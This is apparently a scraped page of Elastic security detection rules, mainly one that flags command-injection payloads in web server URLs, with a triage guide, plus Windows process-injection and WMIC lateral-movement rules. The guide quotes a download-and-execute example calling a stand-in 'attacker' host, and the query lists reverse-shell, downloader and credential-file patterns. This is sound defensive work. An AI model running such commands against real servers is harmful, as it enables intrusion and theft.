process.thread.Ext.call_stack_final_user_module.hash.sha256 | in | 8e423ca1a0e610976f8bb88c0392092d001852295dc8147c365c1c96b2f315a5, f323339ad07384935dcfd8357f6b7443d1ed356e55dd2394ac1975e12ae4b28d | excludes:process.thread.Ext.call_stack_final_user_module.hash.sha256 field:"process.thread.Ext.call_stack_final_user_module.hash.sha256" value:"8e423ca1a0e610976f8bb88c0392092d001852295dc8147c365c1c96b2f315a5" field:"process.thread.Ext.call_stack_final_user_module.hash.sha256" value:"f323339ad07384935dcfd8357f6b7443d1ed356e55dd2394ac1975e12ae4b28d" |
Web Server Potential Command Injection Request
#This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Reconnaissance | |
| Initial Access | |
| Execution | |
| Persistence | |
| Stealth | |
| Credential Access | |
| Command & Control |
Rule Body
[metadata]
creation_date = "2025/11/19"
integration = ["nginx", "apache", "apache_tomcat", "iis", "traefik"]
maturity = "production"
updated_date = "2026/04/10"
[rule]
author = ["Elastic"]
description = """
This rule detects potential command injection attempts via web server requests by identifying URLs that contain
suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web
applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby,
PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to
potential threats early.
"""
from = "now-11m"
interval = "10m"
language = "esql"
license = "Elastic License v2"
name = "Web Server Potential Command Injection Request"
note = """ ## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Web Server Potential Command Injection Request
This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.
### Possible investigation steps
- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.
- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.
- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.
- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.
- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.
### False positive analysis
- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.
- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.
### Response and remediation
- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.
- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.
- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/*, /dev/shm/*, suspicious files in the webroot), and revert cron/systemd or SSH key changes.
- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.
- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.
- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.
"""
risk_score = 21
rule_id = "f3ac6734-7e52-4a0d-90b7-6847bf4308f2"
severity = "low"
tags = [
"Domain: Web",
"Use Case: Threat Detection",
"Tactic: Reconnaissance",
"Tactic: Persistence",
"Tactic: Execution",
"Tactic: Credential Access",
"Tactic: Command and Control",
"Data Source: Nginx",
"Data Source: Apache",
"Data Source: Apache Tomcat",
"Data Source: IIS",
"Data Source: Traefik",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "esql"
query = '''
from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-*
| where
// Limit to 200 response code to reduce noise
http.response.status_code == 200
| eval Esql.url_original_to_lower = to_lower(url.original)
| eval Esql.contains_interpreter = case(Esql.url_original_to_lower like "*python* -c*" or Esql.url_original_to_lower like "*perl* -e*" or Esql.url_original_to_lower like "*ruby* -e*" or Esql.url_original_to_lower like "*ruby* -rsocket*" or Esql.url_original_to_lower like "*lua* -e*" or Esql.url_original_to_lower like "*php* -r*" or Esql.url_original_to_lower like "*node* -e*", 1, 0)
| eval Esql.contains_shell = case(Esql.url_original_to_lower like "*/bin/bash*" or Esql.url_original_to_lower like "*bash*-c*" or Esql.url_original_to_lower like "*/bin/sh*" or Esql.url_original_to_lower rlike "*sh.{1,2}-c*", 1, 0)
| eval Esql.contains_nc = case(Esql.url_original_to_lower like "*netcat*" or Esql.url_original_to_lower like "*ncat*" or Esql.url_original_to_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_original_to_lower like "*nc.openbsd*" or Esql.url_original_to_lower like "*nc.traditional*" or Esql.url_original_to_lower like "*socat*", 1, 0)
| eval Esql.contains_devtcp = case(Esql.url_original_to_lower like "*/dev/tcp/*" or Esql.url_original_to_lower like "*/dev/udp/*", 1, 0)
| eval Esql.contains_helpers = case((Esql.url_original_to_lower like "*/bin/*" or Esql.url_original_to_lower like "*/usr/bin/*") and (Esql.url_original_to_lower like "*mkfifo*" or Esql.url_original_to_lower like "*nohup*" or Esql.url_original_to_lower like "*setsid*" or Esql.url_original_to_lower like "*busybox*"), 1, 0)
| eval Esql.contains_sus_cli = case(Esql.url_original_to_lower like "*import*pty*spawn*" or Esql.url_original_to_lower like "*import*subprocess*call*" or Esql.url_original_to_lower like "*tcpsocket.new*" or Esql.url_original_to_lower like "*tcpsocket.open*" or Esql.url_original_to_lower like "*io.popen*" or Esql.url_original_to_lower like "*os.execute*" or Esql.url_original_to_lower like "*fsockopen*", 1, 0)
| eval Esql.contains_privileges = case(Esql.url_original_to_lower like "*chmod*+x", 1, 0)
| eval Esql.contains_downloader = case(Esql.url_original_to_lower like "*curl *" or Esql.url_original_to_lower like "*wget *" , 1, 0)
| eval Esql.contains_file_read_keywords = case(Esql.url_original_to_lower like "*/etc/shadow*" or Esql.url_original_to_lower like "*/etc/passwd*" or Esql.url_original_to_lower like "*/root/.ssh/*" or Esql.url_original_to_lower like "*/home/*/.ssh/*" or Esql.url_original_to_lower like "*~/.ssh/*" or Esql.url_original_to_lower like "*/proc/self/environ*", 1, 0)
| eval Esql.contains_base64_cmd = case(Esql.url_original_to_lower like "*base64*-d*" or Esql.url_original_to_lower like "*echo*|*base64*", 1, 0)
| eval Esql.contains_suspicious_path = case(Esql.url_original_to_lower like "*/tmp/*" or Esql.url_original_to_lower like "*/var/tmp/*" or Esql.url_original_to_lower like "*/dev/shm/*" or Esql.url_original_to_lower like "*/root/*" or Esql.url_original_to_lower like "*/home/*/*" or Esql.url_original_to_lower like "*/var/www/*" or Esql.url_original_to_lower like "*/etc/cron.*/*", 1, 0)
| eval Esql.any_payload_keyword = case(
Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or
Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or
Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0)
| keep
@timestamp,
Esql.url_original_to_lower,
Esql.any_payload_keyword,
Esql.contains_interpreter,
Esql.contains_shell,
Esql.contains_nc,
Esql.contains_devtcp,
Esql.contains_helpers,
Esql.contains_sus_cli,
Esql.contains_privileges,
Esql.contains_downloader,
Esql.contains_file_read_keywords,
Esql.contains_base64_cmd,
Esql.contains_suspicious_path,
source.ip,
destination.ip,
agent.id,
http.request.method,
http.response.status_code,
user_agent.original,
agent.name,
data_stream.dataset,
data_stream.namespace
| stats
Esql.event_count = count(),
Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower),
// General fields
Esql.agent_name_values = values(agent.name),
Esql.agent_id_values = values(agent.id),
Esql.url_path_values = values(Esql.url_original_to_lower),
Esql.http.response.status_code_values = values(http.response.status_code),
Esql.user_agent_original_values = values(user_agent.original),
Esql.data_stream_dataset_values = values(data_stream.dataset),
Esql.data_stream_namespace_values = values(data_stream.namespace),
// Rule Specific fields
Esql.any_payload_keyword_max = max(Esql.any_payload_keyword),
Esql.contains_interpreter_values = values(Esql.contains_interpreter),
Esql.contains_shell_values = values(Esql.contains_shell),
Esql.contains_nc_values = values(Esql.contains_nc),
Esql.contains_devtcp_values = values(Esql.contains_devtcp),
Esql.contains_helpers_values = values(Esql.contains_helpers),
Esql.contains_sus_cli_values = values(Esql.contains_sus_cli),
Esql.contains_privileges_values = values(Esql.contains_privileges),
Esql.contains_downloader_values = values(Esql.contains_downloader),
Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords),
Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd),
Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path)
by source.ip, agent.id
| where
// Filter for potential command injection attempts with low event counts to reduce false positives
Esql.any_payload_keyword_max == 1 and Esql.event_count < 5
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1505"
name = "Server Software Component"
reference = "https://attack.mitre.org/techniques/T1505/"
[[rule.threat.technique.subtechnique]]
id = "T1505.003"
name = "Web Shell"
reference = "https://attack.mitre.org/techniques/T1505/003/"
[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[rule.threat.technique.subtechnique]]
id = "T1059.004"
name = "Unix Shell"
reference = "https://attack.mitre.org/techniques/T1059/004/"
[[rule.threat.technique.subtechnique]]
id = "T1059.006"
name = "Python"
reference = "https://attack.mitre.org/techniques/T1059/006/"
[[rule.threat.technique.subtechnique]]
id = "T1059.011"
name = "Lua"
reference = "https://attack.mitre.org/techniques/T1059/011/"
[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1071"
name = "Application Layer Protocol"
reference = "https://attack.mitre.org/techniques/T1071/"
[[rule.threat.technique]]
id = "T1105"
name = "Ingress Tool Transfer"
reference = "https://attack.mitre.org/techniques/T1105/"
[rule.threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1595"
name = "Active Scanning"
reference = "https://attack.mitre.org/techniques/T1595/"
[[rule.threat.technique.subtechnique]]
id = "T1595.002"
name = "Vulnerability Scanning"
reference = "https://attack.mitre.org/techniques/T1595/002/"
[[rule.threat.technique.subtechnique]]
id = "T1595.003"
name = "Wordlist Scanning"
reference = "https://attack.mitre.org/techniques/T1595/003/"
[rule.threat.tactic]
id = "TA0043"
name = "Reconnaissance"
reference = "https://attack.mitre.org/tactics/TA0043/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1003"
name = "OS Credential Dumping"
reference = "https://attack.mitre.org/techniques/T1003/"
[[rule.threat.technique.subtechnique]]
id = "T1003.008"
name = "/etc/passwd and /etc/shadow"
reference = "https://attack.mitre.org/techniques/T1003/008/"
[[rule.threat.technique]]
id = "T1552"
name = "Unsecured Credentials"
reference = "https://attack.mitre.org/techniques/T1552/"
[[rule.threat.technique.subtechnique]]
id = "T1552.001"
name = "Credentials In Files"
reference = "https://attack.mitre.org/techniques/T1552/001/"
[rule.threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1140"
name = "Deobfuscate/Decode Files or Information"
reference = "https://attack.mitre.org/techniques/T1140/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1190"
name = "Exploit Public-Facing Application"
reference = "https://attack.mitre.org/techniques/T1190/"
[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
Stages and Predicates
Stage 1: from
from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-*
Stage 2: where
| where
http.response.status_code == 200
Stage 3: eval
| eval Esql.url_original_to_lower = to_lower(url.original)
Stage 4: eval
| eval Esql.contains_interpreter = case(Esql.url_original_to_lower like "*python* -c*" or Esql.url_original_to_lower like "*perl* -e*" or Esql.url_original_to_lower like "*ruby* -e*" or Esql.url_original_to_lower like "*ruby* -rsocket*" or Esql.url_original_to_lower like "*lua* -e*" or Esql.url_original_to_lower like "*php* -r*" or Esql.url_original_to_lower like "*node* -e*", 1, 0)
Esql.contains_interpreter =Esql.url_original_to_lower like "*python* -c*" or Esql.url_original_to_lower like "*perl* -e*" or Esql.url_original_to_lower like "*ruby* -e*" or Esql.url_original_to_lower like "*ruby* -rsocket*" or Esql.url_original_to_lower like "*lua* -e*" or Esql.url_original_to_lower like "*php* -r*" or Esql.url_original_to_lower like "*node* -e*"10Stage 5: eval
| eval Esql.contains_shell = case(Esql.url_original_to_lower like "*/bin/bash*" or Esql.url_original_to_lower like "*bash*-c*" or Esql.url_original_to_lower like "*/bin/sh*" or Esql.url_original_to_lower rlike "*sh.{1,2}-c*", 1, 0)
Esql.contains_shell =Esql.url_original_to_lower like "*/bin/bash*" or Esql.url_original_to_lower like "*bash*-c*" or Esql.url_original_to_lower like "*/bin/sh*" or Esql.url_original_to_lower rlike "*sh.{1,2}-c*"10Stage 6: eval
| eval Esql.contains_nc = case(Esql.url_original_to_lower like "*netcat*" or Esql.url_original_to_lower like "*ncat*" or Esql.url_original_to_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_original_to_lower like "*nc.openbsd*" or Esql.url_original_to_lower like "*nc.traditional*" or Esql.url_original_to_lower like "*socat*", 1, 0)
Esql.contains_nc =Esql.url_original_to_lower like "*netcat*" or Esql.url_original_to_lower like "*ncat*" or Esql.url_original_to_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_original_to_lower like "*nc.openbsd*" or Esql.url_original_to_lower like "*nc.traditional*" or Esql.url_original_to_lower like "*socat*"10Stage 7: eval
| eval Esql.contains_devtcp = case(Esql.url_original_to_lower like "*/dev/tcp/*" or Esql.url_original_to_lower like "*/dev/udp/*", 1, 0)
Esql.contains_devtcp =Esql.url_original_to_lower like "*/dev/tcp/*" or Esql.url_original_to_lower like "*/dev/udp/*"10Stage 8: eval
| eval Esql.contains_helpers = case((Esql.url_original_to_lower like "*/bin/*" or Esql.url_original_to_lower like "*/usr/bin/*") and (Esql.url_original_to_lower like "*mkfifo*" or Esql.url_original_to_lower like "*nohup*" or Esql.url_original_to_lower like "*setsid*" or Esql.url_original_to_lower like "*busybox*"), 1, 0)
Esql.contains_helpers =(Esql.url_original_to_lower like "*/bin/*" or Esql.url_original_to_lower like "*/usr/bin/*") and (Esql.url_original_to_lower like "*mkfifo*" or Esql.url_original_to_lower like "*nohup*" or Esql.url_original_to_lower like "*setsid*" or Esql.url_original_to_lower like "*busybox*")10Stage 9: eval
| eval Esql.contains_sus_cli = case(Esql.url_original_to_lower like "*import*pty*spawn*" or Esql.url_original_to_lower like "*import*subprocess*call*" or Esql.url_original_to_lower like "*tcpsocket.new*" or Esql.url_original_to_lower like "*tcpsocket.open*" or Esql.url_original_to_lower like "*io.popen*" or Esql.url_original_to_lower like "*os.execute*" or Esql.url_original_to_lower like "*fsockopen*", 1, 0)
Esql.contains_sus_cli =Esql.url_original_to_lower like "*import*pty*spawn*" or Esql.url_original_to_lower like "*import*subprocess*call*" or Esql.url_original_to_lower like "*tcpsocket.new*" or Esql.url_original_to_lower like "*tcpsocket.open*" or Esql.url_original_to_lower like "*io.popen*" or Esql.url_original_to_lower like "*os.execute*" or Esql.url_original_to_lower like "*fsockopen*"10Stage 10: eval
| eval Esql.contains_privileges = case(Esql.url_original_to_lower like "*chmod*+x", 1, 0)
Esql.contains_privileges =Esql.url_original_to_lower like "*chmod*+x"10Stage 11: eval
| eval Esql.contains_downloader = case(Esql.url_original_to_lower like "*curl *" or Esql.url_original_to_lower like "*wget *" , 1, 0)
Esql.contains_downloader =Esql.url_original_to_lower like "*curl *" or Esql.url_original_to_lower like "*wget *"10Stage 12: eval
| eval Esql.contains_file_read_keywords = case(Esql.url_original_to_lower like "*/etc/shadow*" or Esql.url_original_to_lower like "*/etc/passwd*" or Esql.url_original_to_lower like "*/root/.ssh/*" or Esql.url_original_to_lower like "*/home/*/.ssh/*" or Esql.url_original_to_lower like "*~/.ssh/*" or Esql.url_original_to_lower like "*/proc/self/environ*", 1, 0)
Esql.contains_file_read_keywords =Esql.url_original_to_lower like "*/etc/shadow*" or Esql.url_original_to_lower like "*/etc/passwd*" or Esql.url_original_to_lower like "*/root/.ssh/*" or Esql.url_original_to_lower like "*/home/*/.ssh/*" or Esql.url_original_to_lower like "*~/.ssh/*" or Esql.url_original_to_lower like "*/proc/self/environ*"10Stage 13: eval
| eval Esql.contains_base64_cmd = case(Esql.url_original_to_lower like "*base64*-d*" or Esql.url_original_to_lower like "*echo*|*base64*", 1, 0)
Esql.contains_base64_cmd =Esql.url_original_to_lower like "*base64*-d*" or Esql.url_original_to_lower like "*echo*|*base64*"10Stage 14: eval
| eval Esql.contains_suspicious_path = case(Esql.url_original_to_lower like "*/tmp/*" or Esql.url_original_to_lower like "*/var/tmp/*" or Esql.url_original_to_lower like "*/dev/shm/*" or Esql.url_original_to_lower like "*/root/*" or Esql.url_original_to_lower like "*/home/*/*" or Esql.url_original_to_lower like "*/var/www/*" or Esql.url_original_to_lower like "*/etc/cron.*/*", 1, 0)
Esql.contains_suspicious_path =Esql.url_original_to_lower like "*/tmp/*" or Esql.url_original_to_lower like "*/var/tmp/*" or Esql.url_original_to_lower like "*/dev/shm/*" or Esql.url_original_to_lower like "*/root/*" or Esql.url_original_to_lower like "*/home/*/*" or Esql.url_original_to_lower like "*/var/www/*" or Esql.url_original_to_lower like "*/etc/cron.*/*"10Stage 15: eval
| eval Esql.any_payload_keyword = case(
Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or
Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or
Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0)
Esql.any_payload_keyword =Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or
Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or
Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 110Stage 16: keep
| keep
@timestamp,
Esql.url_original_to_lower,
Esql.any_payload_keyword,
Esql.contains_interpreter,
Esql.contains_shell,
Esql.contains_nc,
Esql.contains_devtcp,
Esql.contains_helpers,
Esql.contains_sus_cli,
Esql.contains_privileges,
Esql.contains_downloader,
Esql.contains_file_read_keywords,
Esql.contains_base64_cmd,
Esql.contains_suspicious_path,
source.ip,
destination.ip,
agent.id,
http.request.method,
http.response.status_code,
user_agent.original,
agent.name,
data_stream.dataset,
data_stream.namespace
Stage 17: stats
| stats
Esql.event_count = count(),
Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower),
Esql.agent_name_values = values(agent.name),
Esql.agent_id_values = values(agent.id),
Esql.url_path_values = values(Esql.url_original_to_lower),
Esql.http.response.status_code_values = values(http.response.status_code),
Esql.user_agent_original_values = values(user_agent.original),
Esql.data_stream_dataset_values = values(data_stream.dataset),
Esql.data_stream_namespace_values = values(data_stream.namespace),
Esql.any_payload_keyword_max = max(Esql.any_payload_keyword),
Esql.contains_interpreter_values = values(Esql.contains_interpreter),
Esql.contains_shell_values = values(Esql.contains_shell),
Esql.contains_nc_values = values(Esql.contains_nc),
Esql.contains_devtcp_values = values(Esql.contains_devtcp),
Esql.contains_helpers_values = values(Esql.contains_helpers),
Esql.contains_sus_cli_values = values(Esql.contains_sus_cli),
Esql.contains_privileges_values = values(Esql.contains_privileges),
Esql.contains_downloader_values = values(Esql.contains_downloader),
Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords),
Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd),
Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path)
by source.ip, agent.id
Stage 18: where
| where
Esql.any_payload_keyword_max == 1 and Esql.event_count < 5
Indicators
These rows show field, operator, and value matches.
Output Fields
These fields are emitted when the rule matches.
| Field | Source |
|---|---|
Esql.event_count | STATS Esql.event_count = count() |
Esql.url_path_count_distinct | STATS Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower) |
Esql.agent_name_values | STATS Esql.agent_name_values = values(agent.name) |
Esql.agent_id_values | STATS Esql.agent_id_values = values(agent.id) |
Esql.url_path_values | STATS Esql.url_path_values = values(Esql.url_original_to_lower) |
Esql.http.response.status_code_values | STATS Esql.http.response.status_code_values = values(http.response.status_code) |
Esql.user_agent_original_values | STATS Esql.user_agent_original_values = values(user_agent.original) |
Esql.data_stream_dataset_values | STATS Esql.data_stream_dataset_values = values(data_stream.dataset) |
Esql.data_stream_namespace_values | STATS Esql.data_stream_namespace_values = values(data_stream.namespace) |
Esql.any_payload_keyword_max | STATS Esql.any_payload_keyword_max = max(Esql.any_payload_keyword) |
Esql.contains_interpreter_values | STATS Esql.contains_interpreter_values = values(Esql.contains_interpreter) |
Esql.contains_shell_values | STATS Esql.contains_shell_values = values(Esql.contains_shell) |
Esql.contains_nc_values | STATS Esql.contains_nc_values = values(Esql.contains_nc) |
Esql.contains_devtcp_values | STATS Esql.contains_devtcp_values = values(Esql.contains_devtcp) |
Esql.contains_helpers_values | STATS Esql.contains_helpers_values = values(Esql.contains_helpers) |
Esql.contains_sus_cli_values | STATS Esql.contains_sus_cli_values = values(Esql.contains_sus_cli) |
Esql.contains_privileges_values | STATS Esql.contains_privileges_values = values(Esql.contains_privileges) |
Esql.contains_downloader_values | STATS Esql.contains_downloader_values = values(Esql.contains_downloader) |
Esql.contains_file_read_keywords_values | STATS Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords) |
Esql.contains_base64_cmd_values | STATS Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd) |
Esql.contains_suspicious_path_values | STATS Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path) |
source.ip | STATS BY |
agent.id | STATS BY |
Windows Socket Creation from Unbacked Memory
#Identifies the creation of a Windows network socket from unbacked memory, this may indicate process code injection.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Stealth |
Rule Body
[rule]
description = "Identifies the creation of a Windows network socket from unbacked memory, this may indicate process code injection."
id = "59a55372-5b1a-4a72-bd6e-9a55cf9298b4"
license = "Elastic License v2"
name = "Windows Socket Creation from Unbacked Memory"
os_list = ["windows"]
version = "1.0.3"
query = '''
api where process.Ext.api.name == "VirtualProtect" and
process.Ext.api.metadata.target_address_name == "mswsock.dll" and
process.thread.Ext.call_stack_summary in ("ntdll.dll|apphelp.dll|ntdll.dll|kernelbase.dll|ws2_32.dll|Unbacked",
"ntdll.dll|wow64.dll|wow64cpu.dll|wow64.dll|ntdll.dll|apphelp.dll|ntdll.dll|kernelbase.dll|ws2_32.dll|Unbacked") and
_arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info like "Unbacked*" and $entry.callsite_trailing_bytes : "?*") and
_arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info : "c:\\windows\\sys?????\\ws2_32.dll!WSASocket*") and
not process.thread.Ext.call_stack_final_user_module.protection_provenance_path like ("c:\\windows\\microsoft.net\\framework64\\v*\\clr.dll", "c:\\program files\\dotnet\\shared\\microsoft.netcore.app\\*\\coreclr.dll")
'''
min_endpoint_version = "8.14.2"
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
tree = true
[[optional_actions]]
action = "rollback"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1055"
name = "Process Injection"
reference = "https://attack.mitre.org/techniques/T1055/"
[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[internal]
min_endpoint_version = "8.14.2"
Stages and Predicates
Stage 1: api
api where process.Ext.api.name == "VirtualProtect" and
process.Ext.api.metadata.target_address_name == "mswsock.dll" and
process.thread.Ext.call_stack_summary in ("ntdll.dll|apphelp.dll|ntdll.dll|kernelbase.dll|ws2_32.dll|Unbacked",
"ntdll.dll|wow64.dll|wow64cpu.dll|wow64.dll|ntdll.dll|apphelp.dll|ntdll.dll|kernelbase.dll|ws2_32.dll|Unbacked") and
_arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info like "Unbacked*" and $entry.callsite_trailing_bytes : "?*") and
_arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info : "c:\\windows\\sys?????\\ws2_32.dll!WSASocket*") and
not process.thread.Ext.call_stack_final_user_module.protection_provenance_path like ("c:\\windows\\microsoft.net\\framework64\\v*\\clr.dll", "c:\\program files\\dotnet\\shared\\microsoft.netcore.app\\*\\coreclr.dll")
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
process.Ext.api.metadata.target_address_name | eq |
| field:"process.Ext.api.metadata.target_address_name" kind:eq value:"mswsock.dll" |
process.Ext.api.name | eq |
| field:"process.Ext.api.name" kind:eq value:"VirtualProtect" |
process.thread.Ext.call_stack_summary | in |
| field:"process.thread.Ext.call_stack_summary" kind:in |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.thread.Ext.call_stack_final_user_module.protection_provenance_path | wildcard | c:\windows\microsoft.net\framework64\v*\clr.dll, c:\program files\dotnet\shared\microsoft.netcore.app\*\coreclr.dll | excludes:process.thread.Ext.call_stack_final_user_module.protection_provenance_path field:"process.thread.Ext.call_stack_final_user_module.protection_provenance_path" value:"c:\windows\microsoft.net\framework64\v*\clr.dll" field:"process.thread.Ext.call_stack_final_user_module.protection_provenance_path" value:"c:\program files\dotnet\shared\microsoft.netcore.app\*\coreclr.dll" |
WMIC Remote Command
#Identifies the use of wmic.exe to run commands on remote hosts. While this can be used by administrators legitimately, attackers can abuse this built-in utility to achieve lateral movement.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution | |
| Lateral Movement |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
| Security-Auditing | Event ID 4688: A new process has been created. |
Rule Body
[metadata]
creation_date = "2023/08/24"
integration = ["endpoint", "windows", "system"]
maturity = "production"
updated_date = "2026/03/24"
[rule]
author = ["Elastic"]
building_block_type = "default"
description = """
Identifies the use of wmic.exe to run commands on remote hosts. While this can be used by administrators legitimately,
attackers can abuse this built-in utility to achieve lateral movement.
"""
from = "now-119m"
index = [
"endgame-*",
"logs-endpoint.events.process-*",
"logs-system.security*",
"logs-windows.sysmon_operational-*",
"winlogbeat-*",
]
interval = "60m"
language = "eql"
license = "Elastic License v2"
name = "WMIC Remote Command"
risk_score = 21
rule_id = "f59668de-caa0-4b84-94c1-3a1549e1e798"
severity = "low"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Lateral Movement",
"Data Source: Elastic Defend",
"Rule Type: BBR",
"Data Source: Sysmon",
"Data Source: Elastic Endgame",
"Data Source: Windows Security Event Logs",
]
timestamp_override = "event.ingested"
type = "eql"
